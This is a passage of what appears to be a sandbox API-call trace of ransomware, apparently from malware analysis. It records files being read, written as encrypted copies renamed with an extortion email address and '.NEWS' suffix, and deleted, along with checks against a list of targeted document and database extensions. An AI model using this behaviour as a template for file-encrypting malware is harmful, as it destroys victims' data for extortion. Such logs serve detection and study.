files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0094.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.130] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.130] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0094.130] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0094.130] GetLastError () returned 0x0 [0094.131] ReadFile (in: hFile=0x35c, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x1ae40, lpOverlapped=0x0) returned 1 Thread: id = 12 os_tid = 0x97c [0060.861] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3710930 [0060.861] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3720938 [0060.862] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8ae8 [0060.862] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x52e1c8 [0060.862] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8b90 [0060.862] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3911020 [0060.865] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8bc0 [0060.865] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8bc0, Size=0x20) returned 0x4ced38 [0060.865] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4e8c50 [0060.865] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4e8c50, Size=0x20) returned 0x4ceba8 [0060.866] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0060.866] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0060.866] Wow64DisableWow64FsRedirection (in: OldValue=0x2d5ff50 | out: OldValue=0x2d5ff50*=0x0) returned 1 [0060.866] lstrlenW (lpString="kernel32.dll") returned 12 [0060.866] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ced38 | out: hHeap=0x490000) returned 1 [0060.866] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0060.866] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0060.866] Sleep (dwMilliseconds=0x64) [0061.215] Sleep (dwMilliseconds=0x64) [0061.657] Sleep (dwMilliseconds=0x64) [0061.908] Sleep (dwMilliseconds=0x64) [0063.650] Sleep (dwMilliseconds=0x64) [0064.004] Sleep (dwMilliseconds=0x64) [0064.625] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.625] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.625] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=17752) returned 1 [0064.625] CloseHandle (hObject=0x35c) returned 1 [0064.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0064.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.626] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.626] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0064.626] GetLastError () returned 0x0 [0064.626] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4558, lpOverlapped=0x0) returned 1 [0064.640] WriteFile (in: hFile=0x360, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4560, lpOverlapped=0x0) returned 1 [0064.642] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.642] WriteFile (in: hFile=0x360, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.642] SetEndOfFile (hFile=0x360) returned 1 [0064.642] CloseHandle (hObject=0x360) returned 1 [0064.643] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.643] SetEndOfFile (hFile=0x35c) returned 1 [0064.644] CloseHandle (hObject=0x35c) returned 1 [0064.644] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.645] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0064.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.645] lstrlenW (lpString=".doc") returned 4 [0064.645] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString=".docx") returned 5 [0064.645] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.645] lstrlenW (lpString=".pdf") returned 4 [0064.645] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString=".xls") returned 4 [0064.645] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString=".xlsx") returned 5 [0064.645] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.645] lstrlenW (lpString=".ppt") returned 4 [0064.645] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.645] lstrlenW (lpString=".zip") returned 4 [0064.645] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString=".rar") returned 4 [0064.645] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.645] lstrlenW (lpString=".bz2") returned 4 [0064.645] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.645] lstrlenW (lpString=".7z") returned 3 [0064.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.645] lstrlenW (lpString=".dbf") returned 4 [0064.645] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".1cd") returned 4 [0064.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".jpg") returned 4 [0064.646] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".doc") returned 4 [0064.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString=".docx") returned 5 [0064.646] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.646] lstrlenW (lpString=".pdf") returned 4 [0064.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString=".xls") returned 4 [0064.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString=".xlsx") returned 5 [0064.646] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.646] lstrlenW (lpString=".ppt") returned 4 [0064.646] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".zip") returned 4 [0064.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString=".rar") returned 4 [0064.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.646] lstrlenW (lpString=".bz2") returned 4 [0064.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.646] lstrlenW (lpString=".7z") returned 3 [0064.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".dbf") returned 4 [0064.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.646] lstrlenW (lpString=".1cd") returned 4 [0064.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.647] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0064.647] lstrlenW (lpString=".jpg") returned 4 [0064.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.647] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.647] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.647] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=14168) returned 1 [0064.647] CloseHandle (hObject=0x35c) returned 1 [0064.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0064.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.647] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.647] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0064.648] GetLastError () returned 0x0 [0064.648] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x3758, lpOverlapped=0x0) returned 1 [0064.651] WriteFile (in: hFile=0x360, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x3760, lpOverlapped=0x0) returned 1 [0064.652] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.652] WriteFile (in: hFile=0x360, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.652] SetEndOfFile (hFile=0x360) returned 1 [0064.652] CloseHandle (hObject=0x360) returned 1 [0064.653] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.653] SetEndOfFile (hFile=0x35c) returned 1 [0064.654] CloseHandle (hObject=0x35c) returned 1 [0064.654] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.655] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0064.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.655] lstrlenW (lpString=".doc") returned 4 [0064.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString=".docx") returned 5 [0064.655] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.655] lstrlenW (lpString=".pdf") returned 4 [0064.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString=".xls") returned 4 [0064.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString=".xlsx") returned 5 [0064.655] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.655] lstrlenW (lpString=".ppt") returned 4 [0064.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.655] lstrlenW (lpString=".zip") returned 4 [0064.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString=".rar") returned 4 [0064.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.655] lstrlenW (lpString=".bz2") returned 4 [0064.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.655] lstrlenW (lpString=".7z") returned 3 [0064.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.655] lstrlenW (lpString=".dbf") returned 4 [0064.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".1cd") returned 4 [0064.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".jpg") returned 4 [0064.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".doc") returned 4 [0064.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString=".docx") returned 5 [0064.656] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.656] lstrlenW (lpString=".pdf") returned 4 [0064.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString=".xls") returned 4 [0064.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString=".xlsx") returned 5 [0064.656] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.656] lstrlenW (lpString=".ppt") returned 4 [0064.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".zip") returned 4 [0064.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString=".rar") returned 4 [0064.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.656] lstrlenW (lpString=".bz2") returned 4 [0064.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.656] lstrlenW (lpString=".7z") returned 3 [0064.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".dbf") returned 4 [0064.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.656] lstrlenW (lpString=".1cd") returned 4 [0064.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned 45 [0064.657] lstrlenW (lpString=".jpg") returned 4 [0064.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.657] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.657] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.657] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=18776) returned 1 [0064.657] CloseHandle (hObject=0x35c) returned 1 [0064.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80 [0064.657] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0064.658] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.658] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.658] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0065.127] GetLastError () returned 0x0 [0065.127] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x4958, lpOverlapped=0x0) returned 1 [0065.134] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x4960, lpOverlapped=0x0) returned 1 [0065.135] ReadFile (in: hFile=0x35c, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.135] WriteFile (in: hFile=0x378, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xf8, lpOverlapped=0x0) returned 1 [0065.135] SetEndOfFile (hFile=0x378) returned 1 [0065.135] CloseHandle (hObject=0x378) returned 1 [0065.138] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.138] SetEndOfFile (hFile=0x35c) returned 1 [0065.139] CloseHandle (hObject=0x35c) returned 1 [0065.139] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0065.139] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString=".doc") returned 4 [0065.140] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString=".docx") returned 5 [0065.140] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0065.140] lstrlenW (lpString=".pdf") returned 4 [0065.140] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString=".xls") returned 4 [0065.140] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString=".xlsx") returned 5 [0065.140] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0065.140] lstrlenW (lpString=".ppt") returned 4 [0065.140] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString=".zip") returned 4 [0065.140] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString=".rar") returned 4 [0065.140] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString=".bz2") returned 4 [0065.140] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0065.140] lstrlenW (lpString=".7z") returned 3 [0065.140] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString=".dbf") returned 4 [0065.140] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString=".1cd") returned 4 [0065.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.140] lstrlenW (lpString=".jpg") returned 4 [0065.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0065.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString=".doc") returned 4 [0065.141] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0065.141] lstrlenW (lpString=".docx") returned 5 [0065.141] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0065.141] lstrlenW (lpString=".pdf") returned 4 [0065.141] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0065.141] lstrlenW (lpString=".xls") returned 4 [0065.141] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0065.141] lstrlenW (lpString=".xlsx") returned 5 [0065.141] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0065.141] lstrlenW (lpString=".ppt") returned 4 [0065.141] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0065.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45 [0065.141] lstrlenW (lpString=".zip") returned 4 [0065.141] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0065.141] lstrlenW (lpString=".rar") returned 4 [0065.141] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 